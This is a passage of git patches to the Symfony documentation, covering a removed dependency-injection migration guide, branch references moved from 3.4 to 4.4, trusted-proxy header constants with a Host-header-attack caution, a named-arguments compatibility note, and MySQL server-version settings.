-    +         # remove this if/when you are not fetching this
-    +         # directly from the container via $container->get()
-    +         public: true
-
-        app.api_client_sl_connect:
-            # ...
-    +         public: true
-
-This is to guarantee that the application doesn't break. If you're not fetching
-these services directly from the container, this isn't needed. In a minute, you'll
-clean that up.
-
-Step 4) Auto-registering Services
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-You're now ready to automatically register all services in ``src/``
-(and/or any other directory/bundle you have):
-
-.. code-block:: diff
-
-    # config/services.yaml
-
-    services:
-        _defaults:
-            # ...
-
-    +     App\:
-    +         resource: '../src/*'
-    +         exclude: '../src/{Entity,Migrations,Tests}'
-    +
-    +     App\Controller\:
-    +         resource: '../src/Controller'
-    +         tags: ['controller.service_arguments']
-
-        # ...
-
-That's it! Actually, you're already overriding and reconfiguring all the services
-you're using (``App\Service\GitHubNotifier`` and ``App\Service\MarkdownTransformer``).
-But now, you won't need to manually register future services.
-
-Once again, there is one extra complication if you have multiple services of the
-same class:
-
-.. code-block:: diff
-
-    # config/services.yaml
-
-    services:
-        # ...
-
-    +     # alias ApiClient to one of our services below
-    +     # app.api_client_github will be used to autowire ApiClient type-hints
-    +     App\Service\ApiClient: '@app.api_client_github'
-
-        app.api_client_github:
-            # ...
-        app.api_client_sl_connect:
-            # ...
-
-This guarantees that if you try to autowire an ``ApiClient`` instance, the ``app.api_client_github``
-will be used. If you *don't* have this, the auto-registration feature will try to
-register a third ``ApiClient`` service and use that for autowiring (which will fail,
-because the class has a non-autowireable argument).
-
-.. _step-5:
-
-Step 5) Cleanup!
-~~~~~~~~~~~~~~~~
-
-To make sure your application didn't break, you did some extra work. Now it's time
-to clean things up! First, update your application to *not* use the old service id's (the
-ones in ``legacy_aliases.yaml``). This means updating any service arguments (e.g.
-``@app.github_notifier`` to ``@App\Service\GitHubNotifier``) and updating your
-code to not fetch this service directly from the container. For example:
-
-.. code-block:: diff
-
-    -     public function index()
-    +     public function index(GitHubNotifier $gitHubNotifier, MarkdownTransformer $markdownTransformer)
-        {
-    -         // the old way of fetching services
-    -         $githubNotifier = $this->container->get('app.github_notifier');
-    -         $markdownTransformer = $this->container->get('markdown_transformer');
-
-            // ...
-        }
-
-As soon as you do this, you can delete ``legacy_aliases.yaml`` and remove its import.
-You should do the same thing for any services that you made public, like
-``app.api_client_github`` and ``app.api_client_sl_connect``. Once you're not fetching
-these directly from the container, you can remove the ``public: true`` flag:
-
-.. code-block:: diff
-
-    # config/services.yaml
-    services:
-        # ...
-
-        app.api_client_github:
-            # ...
-    -         public: true
-
-        app.api_client_sl_connect:
-            # ...
-    -         public: true
-
-Finally, you can optionally remove any services from ``services.yaml`` whose arguments
-can be autowired. The final configuration looks like this:
-
-.. code-block:: yaml
-
-    services:
-        _defaults:
-            autowire: true
-            autoconfigure: true
-            public: false
-
-        App\:
-            resource: '../src/*'
-            exclude: '../src/{Entity,Migrations,Tests}'
-
-        App\Controller\:
-            resource: '../src/Controller'
-            tags: ['controller.service_arguments']
-
-        App\Service\GitHubNotifier:
-            # this could be deleted, or I can keep being explicit
-            arguments:
-                - '@app.api_client_github'
-
-        # alias ApiClient to one of our services below
-        # app.api_client_github will be used to autowire ApiClient type-hints
-        App\Service\ApiClient: '@app.api_client_github'
-
-        # keep these ids because there are multiple instances per class
-        app.api_client_github:
-            class: App\Service\ApiClient
-            arguments:
-                - 'https://api.github.com'
-
-        app.api_client_sl_connect:
-            class: App\Service\ApiClient
-            arguments:
-                - 'https://connect.symfony.com/api'
-
-You can now take advantage of the new features going forward.
-
-.. _`FrameworkExtension for 3.3.0`: https://github.com/symfony/symfony/blob/7938fdeceb03cc1df277a249cf3da70f0b50eb98/src/Symfony/Bundle/FrameworkBundle/DependencyInjection/FrameworkExtension.php#L247-L284
diff --git a/setup/flex.rst b/setup/flex.rst
index df1bf1eaa14..eaba102d073 100644
--- a/setup/flex.rst
+++ b/setup/flex.rst
@@ -100,7 +100,7 @@ manual steps:
    located at ``config/services.yaml``. Copy the contents of the
    `default services.yaml file`_ and then add your own service configuration.
    Later you can revisit this file because thanks to Symfony's
-   :doc:`autowiring feature </service_container/3.3-di-changes>` you can remove
+   :doc:`autowiring feature </service_container/autowiring>` you can remove
    most of the service configuration.
 
    .. note::

From ab4b613ed3859ddb70b9b00356ecef1d1786eddb Mon Sep 17 00:00:00 2001
From: Youssef BENHSSAIEN <youssefbenhssaien@gmail.com>
Date: Tue, 17 Nov 2020 10:02:05 +0100
Subject: [PATCH 0135/5766] Fix option double dashes

---
 console/input.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/console/input.rst b/console/input.rst
index 3e99b39e515..0813bad58c5 100644
--- a/console/input.rst
+++ b/console/input.rst
@@ -247,7 +247,7 @@ optionally accepts a value, but it's a bit tricky. Consider this example::
         )
     ;
 
-This option can be used in 3 ways: ``greet --yell``, ``greet yell=louder``,
+This option can be used in 3 ways: ``greet --yell``, ``greet --yell=louder``,
 and ``greet``. However, it's hard to distinguish between passing the option
 without a value (``greet --yell``) and not passing the option (``greet``).
 

From ad7a7ce1ef03c63f0ddc5978b56bb74ed7e6cfdd Mon Sep 17 00:00:00 2001
From: David Vigo <david.vigoesteban@gmail.com>
Date: Tue, 17 Nov 2020 13:42:33 +0100
Subject: [PATCH 0136/5766] Add forgotten use

---
 security/access_denied_handler.rst | 1 +
 1 file changed, 1 insertion(+)

diff --git a/security/access_denied_handler.rst b/security/access_denied_handler.rst
index 59d6d6bb8d6..8601218ab56 100644
--- a/security/access_denied_handler.rst
+++ b/security/access_denied_handler.rst
@@ -29,6 +29,7 @@ unauthenticated user tries to access a protected resource::
     use Symfony\Component\HttpFoundation\RedirectResponse;
     use Symfony\Component\HttpFoundation\Request;
     use Symfony\Component\HttpFoundation\Session\SessionInterface;
+    use Symfony\Component\Routing\Generator\UrlGeneratorInterface;
     use Symfony\Component\Security\Core\Exception\AuthenticationException;
     use Symfony\Component\Security\Http\EntryPoint\AuthenticationEntryPointInterface;
 

From b93b1a791900ed8823ef0a566a9d1168e73bf802 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Tue, 17 Nov 2020 10:18:36 +0100
Subject: [PATCH 0137/5766] Prepare for 3.4 end of life

---
 README.markdown                               |  6 ++--
 .../cache/adapters/filesystem_adapter.rst     |  8 ++---
 .../adapters/pdo_doctrine_dbal_adapter.rst    |  2 +-
 .../cache/adapters/php_files_adapter.rst      |  2 +-
 components/cache/cache_invalidation.rst       |  2 +-
 contributing/code/pull_requests.rst           | 32 +++++++++----------
 contributing/community/releases.rst           | 18 +++++------
 contributing/documentation/overview.rst       | 14 ++++----
 8 files changed, 41 insertions(+), 43 deletions(-)

diff --git a/README.markdown b/README.markdown
index 8923f022322..b993cd45ed4 100644
--- a/README.markdown
+++ b/README.markdown
@@ -11,9 +11,9 @@ Symfony documentation, please read
 [Contributing to the Documentation](https://symfony.com/doc/current/contributing/documentation/overview.html)
 
 > **Note**
-> All pull requests must be based off of the **3.4** branch,
-> unless you're documenting a feature that was introduced *after* Symfony 3.4
-> (e.g. in Symfony 4.4), **not** the master or older branches.
+> All pull requests must be based off of the **4.4** branch,
+> unless you're documenting a feature that was introduced *after* Symfony 4.4
+> (e.g. in Symfony 5.2), **not** the ``5.x`` or older branches.
 
 SymfonyCloud
 ------------
diff --git a/components/cache/adapters/filesystem_adapter.rst b/components/cache/adapters/filesystem_adapter.rst
index c4db3a7fb76..772a6d7b6a9 100644
--- a/components/cache/adapters/filesystem_adapter.rst
+++ b/components/cache/adapters/filesystem_adapter.rst
@@ -50,11 +50,9 @@ and cache root path as constructor parameters::
 
 .. note::
 
-    Since Symfony 3.4, this adapter implements
-    :class:`Symfony\\Component\\Cache\\PruneableInterface`, enabling manual
-    :ref:`pruning of expired cache items <component-cache-cache-pool-prune>` by
-    calling its ``prune()`` method.
-
+    This adapter implements :class:`Symfony\\Component\\Cache\\PruneableInterface`,
+    enabling manual :ref:`pruning of expired cache items <component-cache-cache-pool-prune>`
+    by calling its ``prune()`` method.
 
 .. _filesystem-tag-aware-adapter:
 
diff --git a/components/cache/adapters/pdo_doctrine_dbal_adapter.rst b/components/cache/adapters/pdo_doctrine_dbal_adapter.rst
index 841071dc586..b840da76de7 100644
--- a/components/cache/adapters/pdo_doctrine_dbal_adapter.rst
+++ b/components/cache/adapters/pdo_doctrine_dbal_adapter.rst
@@ -44,7 +44,7 @@ your code.
 
 .. note::
 
-    Since Symfony 3.4, this adapter implements :class:`Symfony\\Component\\Cache\\PruneableInterface`,
+    This adapter implements :class:`Symfony\\Component\\Cache\\PruneableInterface`,
     allowing for manual :ref:`pruning of expired cache entries <component-cache-cache-pool-prune>` by
     calling its ``prune()`` method.
 
diff --git a/components/cache/adapters/php_files_adapter.rst b/components/cache/adapters/php_files_adapter.rst
index 5bec5715801..fcb5bcfffd1 100644
--- a/components/cache/adapters/php_files_adapter.rst
+++ b/components/cache/adapters/php_files_adapter.rst
@@ -63,7 +63,7 @@ directory path as constructor arguments::
 
 .. note::
 
-    Since Symfony 3.4, this adapter implements :class:`Symfony\\Component\\Cache\\PruneableInterface`,
+    This adapter implements :class:`Symfony\\Component\\Cache\\PruneableInterface`,
     allowing for manual :ref:`pruning of expired cache entries <component-cache-cache-pool-prune>` by
     calling its ``prune()`` method.
 
diff --git a/components/cache/cache_invalidation.rst b/components/cache/cache_invalidation.rst
index bef2c29b0b7..d7e44031d90 100644
--- a/components/cache/cache_invalidation.rst
+++ b/components/cache/cache_invalidation.rst
@@ -87,7 +87,7 @@ your fronts and have very fast invalidation checks::
 
 .. note::
 
-    Since Symfony 3.4, :class:`Symfony\\Component\\Cache\\Adapter\\TagAwareAdapter`
+    :class:`Symfony\\Component\\Cache\\Adapter\\TagAwareAdapter`
     implements :class:`Symfony\\Component\\Cache\\PruneableInterface`,
     enabling manual
     :ref:`pruning of expired cache entries <component-cache-cache-pool-prune>` by
diff --git a/contributing/code/pull_requests.rst b/contributing/code/pull_requests.rst
index 15c2f6a4484..f76e778763f 100644
--- a/contributing/code/pull_requests.rst
+++ b/contributing/code/pull_requests.rst
@@ -124,7 +124,7 @@ Choose the right Branch
 Before working on a PR, you must determine on which branch you need to
 work:
 
-* ``3.4``, if you are fixing a bug for an existing feature or want to make a
+* ``4.4``, if you are fixing a bug for an existing feature or want to make a
   change that falls into the :doc:`list of acceptable changes in patch versions
   </contributing/code/maintenance>` (you may have to choose a higher branch if
   the feature you are fixing was introduced in a later version);
@@ -132,16 +132,16 @@ work:
 * ``5.x``, if you are adding a new feature.
 
   The only exception is when a new :doc:`major Symfony version </contributing/community/releases>`
-  (4.0, 5.0, etc.) comes out every two years. Because of the
+  (5.0, 6.0, etc.) comes out every two years. Because of the
   :ref:`special development process <major-version-development>` of those versions,
-  you need to use the previous minor version for the features (e.g. use ``3.4``
-  instead of ``4.0``, use ``4.4`` instead of ``5.0``, etc.)
+  you need to use the previous minor version for the features (e.g. use ``4.4``
+  instead of ``5.0``, use ``5.4`` instead of ``6.0``, etc.)
 
 .. note::
 
     All bug fixes merged into maintenance branches are also merged into more
     recent branches on a regular basis. For instance, if you submit a PR
-    for the ``3.4`` branch, the PR will also be applied by the core team on
+    for the ``4.4`` branch, the PR will also be applied by the core team on
     the ``5.x`` branch.
 
 Create a Topic Branch
@@ -154,18 +154,18 @@ topic branch:
 
     $ git checkout -b BRANCH_NAME 5.x
 
-Or, if you want to provide a bug fix for the ``3.4`` branch, first track the remote
-``3.4`` branch locally:
+Or, if you want to provide a bug fix for the ``4.4`` branch, first track the remote
+``4.4`` branch locally:
 
 .. code-block:: terminal
 
-    $ git checkout --track origin/3.4
+    $ git checkout --track origin/4.4
 
-Then create a new branch off the ``3.4`` branch to work on the bug fix:
+Then create a new branch off the ``4.4`` branch to work on the bug fix:
 
 .. code-block:: terminal
 
-    $ git checkout -b BRANCH_NAME 3.4
+    $ git checkout -b BRANCH_NAME 4.4
 
 .. tip::
 
@@ -193,8 +193,8 @@ want to debug are installed by running ``composer install`` inside it.
 
 .. tip::
 
-    If symlinks to your local Symfony fork cannot be resolved inside your project due to 
-    your dev environment (for instance when using Vagrant where only the current project 
+    If symlinks to your local Symfony fork cannot be resolved inside your project due to
+    your dev environment (for instance when using Vagrant where only the current project
     directory is mounted), you can alternatively use the ``--copy`` option.
     When finishing testing your Symfony code into your project, you can use
     the ``--rollback`` option to make your project back to its original dependencies.
@@ -285,7 +285,7 @@ while to finish your changes):
 
 .. tip::
 
-    Replace ``5.x`` with the branch you selected previously (e.g. ``3.4``)
+    Replace ``5.x`` with the branch you selected previously (e.g. ``4.4``)
     if you are working on a bug fix.
 
 When doing the ``rebase`` command, you might have to fix merge conflicts.
@@ -312,8 +312,8 @@ You can now make a pull request on the ``symfony/symfony`` GitHub repository.
 
 .. tip::
 
-    Take care to point your pull request towards ``symfony:3.4`` if you want
-    the core team to pull a bug fix based on the ``3.4`` branch.
+    Take care to point your pull request towards ``symfony:4.4`` if you want
+    the core team to pull a bug fix based on the ``4.4`` branch.
 
 To ease the core team work, always include the modified components in your
 pull request message, like in:
@@ -403,7 +403,7 @@ Rework your Pull Request
 
 Based on the feedback on the pull request, you might need to rework your
 PR. Before re-submitting the PR, rebase with ``upstream/5.x`` or
-``upstream/3.4``, don't merge; and force the push to the origin:
+``upstream/4.4``, don't merge; and force the push to the origin:
 
 .. code-block:: terminal
 
diff --git a/contributing/community/releases.rst b/contributing/community/releases.rst
index fa8471717f2..80d5033accd 100644
--- a/contributing/community/releases.rst
+++ b/contributing/community/releases.rst
@@ -7,7 +7,7 @@ release and maintain its different versions.
 Symfony releases follow the `semantic versioning`_ strategy and they are
 published through a *time-based model*:
 
-* A new **Symfony patch version** (e.g. 3.4.41, 4.4.9) comes out roughly every
+* A new **Symfony patch version** (e.g. 4.4.12, 5.1.9) comes out roughly every
   month. It only contains bug fixes, so you can safely upgrade your applications;
 * A new **Symfony minor version** (e.g. 4.4, 5.0, 5.1) comes out every *six months*:
   one in *May* and one in *November*. It contains bug fixes and new features, but
@@ -53,7 +53,7 @@ Maintenance
 
 Starting from the Symfony 3.x branch, the number of minor versions is limited to
 five per branch (X.0, X.1, X.2, X.3 and X.4). The last minor version of a branch
-(e.g. 3.4, 4.4, 5.4) is considered a **long-term support version** and the other
+(e.g. 4.4, 5.4) is considered a **long-term support version** and the other
 ones are considered **standard versions**:
 
 =======================  =====================  ================================
@@ -87,17 +87,17 @@ learn more about how deprecations are handled in Symfony.
 .. _major-version-development:
 
 This deprecation policy also requires a custom development process for major
-versions (4.0, 5.0, 6.0, etc.) In those cases, Symfony develops at the same time
-two versions: the new major one (e.g. 4.0) and the latest version of the
-previous branch (e.g. 3.4).
+versions (5.0, 6.0, etc.) In those cases, Symfony develops at the same time
+two versions: the new major one (e.g. 5.0) and the latest version of the
+previous branch (e.g. 4.4).
 
 Both versions have the same new features, but they differ in the deprecated
-features. The oldest version (3.4 in this example) contains all the deprecated
-features whereas the new version (4.0 in this example) removes all of them.
+features. The oldest version (4.4 in this example) contains all the deprecated
+features whereas the new version (5.0 in this example) removes all of them.
 
-This allows you to upgrade your projects to the latest minor version (e.g. 3.4),
+This allows you to upgrade your projects to the latest minor version (e.g. 4.4),
 see all the deprecation messages and fix them. Once you have fixed all those
-deprecations, you can upgrade to the new major version (e.g. 4.0) without
+deprecations, you can upgrade to the new major version (e.g. 5.0) without
 effort, because it contains the same features (the only difference are the
 deprecated features, which your project no longer uses).
 
diff --git a/contributing/documentation/overview.rst b/contributing/documentation/overview.rst
index fc6a2c4e5e5..f7d1e4e8a03 100644
--- a/contributing/documentation/overview.rst
+++ b/contributing/documentation/overview.rst
@@ -112,14 +112,14 @@ memorable name for the new branch (if you are fixing a reported issue, use
 
 .. code-block:: terminal
 
-    $ git checkout -b improve_install_article upstream/3.4
+    $ git checkout -b improve_install_article upstream/4.4
 
 In this example, the name of the branch is ``improve_install_article`` and the
-``upstream/3.4`` value tells Git to create this branch based on the ``3.4``
+``upstream/4.4`` value tells Git to create this branch based on the ``4.4``
 branch of the ``upstream`` remote, which is the original Symfony Docs repository.
 
 Fixes should always be based on the **oldest maintained branch** which contains
-the error. Nowadays this is the ``3.4`` branch. If you are instead documenting a
+the error. Nowadays this is the ``4.4`` branch. If you are instead documenting a
 new feature, switch to the first Symfony version that included it, e.g.
 ``upstream/3.1``. Not sure? That's OK! Just use the ``upstream/master`` branch.
 
@@ -155,7 +155,7 @@ changes should be applied:
    :align: center
 
 In this example, the **base fork** should be ``symfony/symfony-docs`` and
-the **base** branch should be the ``3.4``, which is the branch that you selected
+the **base** branch should be the ``4.4``, which is the branch that you selected
 to base your changes on. The **head fork** should be your forked copy
 of ``symfony-docs`` and the **compare** branch should be ``improve_install_article``,
 which is the name of the branch you created and where you made your changes.
@@ -205,7 +205,7 @@ contribution to the Symfony docs:
     # create a new branch based on the oldest maintained version
     $ cd projects/symfony-docs/
     $ git fetch upstream
-    $ git checkout -b my_changes upstream/3.4
+    $ git checkout -b my_changes upstream/4.4
 
     # ... do your changes
 
@@ -303,8 +303,8 @@ into multiple branches, corresponding to the different versions of Symfony itsel
 The ``master`` branch holds the documentation for the development branch of
 the code.
 
-Unless you're documenting a feature that was introduced after Symfony 3.4,
-your changes should always be based on the ``3.4`` branch. Documentation managers
+Unless you're documenting a feature that was introduced after Symfony 4.4,
+your changes should always be based on the ``4.4`` branch. Documentation managers
 will use the necessary Git-magic to also apply your changes to all the active
 branches of the documentation.
 

From e5918146ca5fbd2d54a88965d0df26bd6880a49c Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?J=C3=A9r=C3=A9my=20Deruss=C3=A9?= <jeremy@derusse.com>
Date: Wed, 4 Nov 2020 10:18:54 +0100
Subject: [PATCH 0138/5766] Remove deprecated HEADER_X_FORWARDED_ALL header

---
 deployment/proxies.rst | 12 ++++++++++--
 migration.rst          |  2 +-
 2 files changed, 11 insertions(+), 3 deletions(-)

diff --git a/deployment/proxies.rst b/deployment/proxies.rst
index 12bf3f1cac1..a7e0aff99b2 100644
--- a/deployment/proxies.rst
+++ b/deployment/proxies.rst
@@ -35,15 +35,22 @@ and what headers your reverse proxy uses to send information::
         ['192.0.0.1', '10.0.0.0/8'],
 
         // trust *all* "X-Forwarded-*" headers
-        Request::HEADER_X_FORWARDED_ALL
+        Request::HEADER_X_FORWARDED_FOR | Request::HEADER_X_FORWARDED_HOST | Request::HEADER_X_FORWARDED_PORT | Request::HEADER_X_FORWARDED_PROTO
 
         // or, if your proxy instead uses the "Forwarded" header
         // Request::HEADER_FORWARDED
 
-        // or, if you're using AWS ELB
+        // or, if you're using a wellknown proxy
         // Request::HEADER_X_FORWARDED_AWS_ELB
+        // Request::HEADER_X_FORWARDED_TRAEFIK
     );
 
+.. caution::
+
+    Enabling the ``Request::HEADER_X_FORWARDED_HOST`` option exposes the
+    application to "`HTTP Host header attacks`_". Make sure the proxy really
+    send a ``x-forwarded-host`` header.
+
 The Request object has several ``Request::HEADER_*`` constants that control exactly
 *which* headers from your reverse proxy are trusted. The argument is a bit field,
 so you can also pass your own value (e.g. ``0b00110``).
@@ -114,3 +121,4 @@ In this case, you'll need to set the header ``X-Forwarded-Proto`` with the value
 .. _`security groups`: https://docs.aws.amazon.com/elasticloadbalancing/latest/classic/elb-security-groups.html
 .. _`CloudFront`: https://en.wikipedia.org/wiki/Amazon_CloudFront
 .. _`CloudFront IP ranges`: https://ip-ranges.amazonaws.com/ip-ranges.json
+.. _`HTTP Host header attacks`: https://www.skeletonscribe.net/2013/05/practical-http-host-header-attacks.html
diff --git a/migration.rst b/migration.rst
index fa8c2bfc24b..5c786c103b9 100644
--- a/migration.rst
+++ b/migration.rst
@@ -262,7 +262,7 @@ could look something like this::
     if ($trustedProxies = $_SERVER['TRUSTED_PROXIES'] ?? $_ENV['TRUSTED_PROXIES'] ?? false) {
         Request::setTrustedProxies(
           explode(',', $trustedProxies),
-          Request::HEADER_X_FORWARDED_ALL ^ Request::HEADER_X_FORWARDED_HOST
+          Request::HEADER_X_FORWARDED_FOR | Request::HEADER_X_FORWARDED_PORT | Request::HEADER_X_FORWARDED_PROTO
         );
     }
 

From c5dbbd7c07e9c852a3bba6f0edc6fb9bac9612f6 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Wed, 18 Nov 2020 10:54:29 +0100
Subject: [PATCH 0139/5766] [#14561] Fixed wrong reference

---
 serializer/custom_encoders.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/serializer/custom_encoders.rst b/serializer/custom_encoders.rst
index 4c08b410dbd..d212f94a2f5 100644
--- a/serializer/custom_encoders.rst
+++ b/serializer/custom_encoders.rst
@@ -66,7 +66,7 @@ that's done automatically!
 
 .. tip::
 
-    If you're not using :ref:`autoconfigure <service_autoconfigure>`, make sure
+    If you're not using :ref:`autoconfigure <services-autoconfigure>`, make sure
     to register your class as a service and tag it with ``serializer.encoder``.
 
 Now you'll be able to serialize and deserialize YAML!

From 42c1ca4fe901ec3e7339f13b00ac7764f8dfada9 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 18 Nov 2020 10:54:34 +0100
Subject: [PATCH 0140/5766] Added a deprecation notice

---
 deployment/proxies.rst | 12 +++++++++---
 1 file changed, 9 insertions(+), 3 deletions(-)

diff --git a/deployment/proxies.rst b/deployment/proxies.rst
index a7e0aff99b2..81c1f5c7826 100644
--- a/deployment/proxies.rst
+++ b/deployment/proxies.rst
@@ -40,16 +40,22 @@ and what headers your reverse proxy uses to send information::
         // or, if your proxy instead uses the "Forwarded" header
         // Request::HEADER_FORWARDED
 
-        // or, if you're using a wellknown proxy
+        // or, if you're using a well-known proxy
         // Request::HEADER_X_FORWARDED_AWS_ELB
         // Request::HEADER_X_FORWARDED_TRAEFIK
     );
 
+.. deprecated:: 5.2
+
+    In previous Symfony versions, the above example used ``HEADER_X_FORWARDED_ALL``
+    to trust all "X-Forwarded-*" headers, but that constant is deprecated since
+    Symfony 5.2 in favor of the individual ``HEADER_X_FORWARDED_*`` constants.
+
 .. caution::
 
     Enabling the ``Request::HEADER_X_FORWARDED_HOST`` option exposes the
-    application to "`HTTP Host header attacks`_". Make sure the proxy really
-    send a ``x-forwarded-host`` header.
+    application to `HTTP Host header attacks`_. Make sure the proxy really
+    sends an ``x-forwarded-host`` header.
 
 The Request object has several ``Request::HEADER_*`` constants that control exactly
 *which* headers from your reverse proxy are trusted. The argument is a bit field,

From 163c6941e9b8cc0cc7fd2721e34b4445b86c5554 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 18 Nov 2020 11:27:44 +0100
Subject: [PATCH 0141/5766] Fixed a RST syntax issue

---
 deployment/proxies.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/deployment/proxies.rst b/deployment/proxies.rst
index 81c1f5c7826..cae9e285648 100644
--- a/deployment/proxies.rst
+++ b/deployment/proxies.rst
@@ -48,7 +48,7 @@ and what headers your reverse proxy uses to send information::
 .. deprecated:: 5.2
 
     In previous Symfony versions, the above example used ``HEADER_X_FORWARDED_ALL``
-    to trust all "X-Forwarded-*" headers, but that constant is deprecated since
+    to trust all "X-Forwarded-" headers, but that constant is deprecated since
     Symfony 5.2 in favor of the individual ``HEADER_X_FORWARDED_*`` constants.
 
 .. caution::

From 035335cb0ec35b73034f624cb7f9837486efc00d Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Wed, 18 Nov 2020 12:59:08 +0100
Subject: [PATCH 0142/5766] Document named arguments BC policy

---
 contributing/code/bc.rst | 10 +++++++---
 1 file changed, 7 insertions(+), 3 deletions(-)

diff --git a/contributing/code/bc.rst b/contributing/code/bc.rst
index d0c82ab1c1f..15f1f03674d 100644
--- a/contributing/code/bc.rst
+++ b/contributing/code/bc.rst
@@ -72,7 +72,7 @@ backward compatibility promise:
 +-----------------------------------------------+-----------------------------+
 | Type hint against the interface               | Yes                         |
 +-----------------------------------------------+-----------------------------+
-| Call a method                                 | Yes                         |
+| Call a method                                 | Yes [10]_                   |
 +-----------------------------------------------+-----------------------------+
 | **If you implement the interface and...**     | **Then we guarantee BC...** |
 +-----------------------------------------------+-----------------------------+
@@ -114,13 +114,13 @@ covered by our backward compatibility promise:
 +-----------------------------------------------+-----------------------------+
 | Access a public property                      | Yes                         |
 +-----------------------------------------------+-----------------------------+
-| Call a public method                          | Yes                         |
+| Call a public method                          | Yes [10]_                   |
 +-----------------------------------------------+-----------------------------+
 | **If you extend the class and...**            | **Then we guarantee BC...** |
 +-----------------------------------------------+-----------------------------+
 | Access a protected property                   | Yes                         |
 +-----------------------------------------------+-----------------------------+
-| Call a protected method                       | Yes                         |
+| Call a protected method                       | Yes [10]_                   |
 +-----------------------------------------------+-----------------------------+
 | Override a public property                    | Yes                         |
 +-----------------------------------------------+-----------------------------+
@@ -445,4 +445,8 @@ Turn static into non static                         No
 
 .. [9] Allowed for the ``void`` return type.
 
+.. [10] Parameter names are not part of the compatibility promise. Using
+        PHP 8's named arguments feature might break your code when upgrading to
+        newer Symfony versions.
+
 .. _`Semantic Versioning`: https://semver.org/

From 50f3ece07c22e16326616b0b420880d154bea37b Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Wed, 18 Nov 2020 17:03:01 +0100
Subject: [PATCH 0143/5766] Add little tip about PHPdocs

---
 messenger/multiple_buses.rst | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/messenger/multiple_buses.rst b/messenger/multiple_buses.rst
index 5136553dac2..6191bc0556c 100644
--- a/messenger/multiple_buses.rst
+++ b/messenger/multiple_buses.rst
@@ -249,4 +249,9 @@ You can also restrict the list to a specific bus by providing its name as argume
             handled by App\MessageHandler\MultipleBusesMessageHandler
        ---------------------------------------------------------------------------------------
 
+.. tip::
+
+    Since Symfony 5.1, the command will also show the PHPDoc description of
+    the message and handler classes.
+
 .. _article about CQRS: https://martinfowler.com/bliki/CQRS.html

From b47ccb91e9e27ea02a5ca52fdd09f90fcb4adf8d Mon Sep 17 00:00:00 2001
From: Abdouni Abdelkarim <abdounikarim@gmail.com>
Date: Thu, 19 Nov 2020 01:59:09 +0100
Subject: [PATCH 0144/5766] Update testing.rst

Hello, I update mysql env variable with server version.
---
 testing.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/testing.rst b/testing.rst
index 479a26be864..365626ceacd 100644
--- a/testing.rst
+++ b/testing.rst
@@ -990,7 +990,7 @@ need in your ``.env.test`` file:
 .. code-block:: text
 
     # .env.test
-    DATABASE_URL="mysql://db_user:db_password@127.0.0.1:3306/db_name_test"
+    DATABASE_URL=mysql://db_user:db_password@127.0.0.1:3306/db_name_test?serverVersion=5.7
 
     # use SQLITE
     # DATABASE_URL="sqlite:///%kernel.project_dir%/var/app.db"

From 3b1ade011908e82d3e5d361d6aea5aa0328208b9 Mon Sep 17 00:00:00 2001
From: Abdouni Abdelkarim <abdounikarim@gmail.com>
Date: Thu, 19 Nov 2020 02:03:13 +0100
Subject: [PATCH 0145/5766] Update doctrine.rst

Hello, I update mysql server version.
---
 reference/configuration/doctrine.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/reference/configuration/doctrine.rst b/reference/configuration/doctrine.rst
index fd44b56b2bc..cf49aaaa2b9 100644
--- a/reference/configuration/doctrine.rst
+++ b/reference/configuration/doctrine.rst
@@ -65,7 +65,7 @@ The following block shows all possible configuration keys:
                 charset:              UTF8
                 logging:              '%kernel.debug%'
                 platform_service:     App\DBAL\MyDatabasePlatformService
-                server_version:       '5.6'
+                server_version:       '5.7'
                 mapping_types:
                     enum: string
                 types:
@@ -99,7 +99,7 @@ The following block shows all possible configuration keys:
                     charset="UTF8"
                     logging="%kernel.debug%"
                     platform-service="App\DBAL\MyDatabasePlatformService"
-                    server-version="5.6">
+                    server-version="5.7">
 
                     <doctrine:option key="foo">bar</doctrine:option>
                     <doctrine:mapping-type name="enum">string</doctrine:mapping-type>
@@ -121,8 +121,8 @@ The following block shows all possible configuration keys:
 
     Always wrap the server version number with quotes to parse it as a string
     instead of a float number. Otherwise, the floating-point representation
-    issues can make your version be considered a different number (e.g. ``5.6``
-    will be rounded as ``5.5999999999999996447286321199499070644378662109375``).
+    issues can make your version be considered a different number (e.g. ``5.7``
+    will be rounded as ``5.6999999999999996447286321199499070644378662109375``).
 
     If you don't define this option and you haven't created your database
     yet, you may get ``PDOException`` errors because Doctrine will try to

From 5a95590b0c53f9075e0ca814a0ecc86f1f46ed33 Mon Sep 17 00:00:00 2001
From: Abdouni Abdelkarim <abdounikarim@gmail.com>
Date: Thu, 19 Nov 2020 02:05:29 +0100
Subject: [PATCH 0146/5766] Update dbal.rst

Hello, I updated mysql env database_url.
---
 doctrine/dbal.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/doctrine/dbal.rst b/doctrine/dbal.rst
index 3d451fb4af6..4b9f26d3f7b 100644
--- a/doctrine/dbal.rst
+++ b/doctrine/dbal.rst
@@ -35,7 +35,7 @@ Then configure the ``DATABASE_URL`` environment variable in ``.env``:
     # .env (or override DATABASE_URL in .env.local to avoid committing your changes)
 
     # customize this line!
-    DATABASE_URL="mysql://db_user:db_password@127.0.0.1:3306/db_name"
+    DATABASE_URL=mysql://db_user:db_password@127.0.0.1:3306/db_name?serverVersion=5.7
 
 Further things can be configured in ``config/packages/doctrine.yaml`` - see
 :ref:`reference-dbal-configuration`. Remove the ``orm`` key in that file

From c639ea407b86d5e8e63abf34b1cc66c8629ecad1 Mon Sep 17 00:00:00 2001
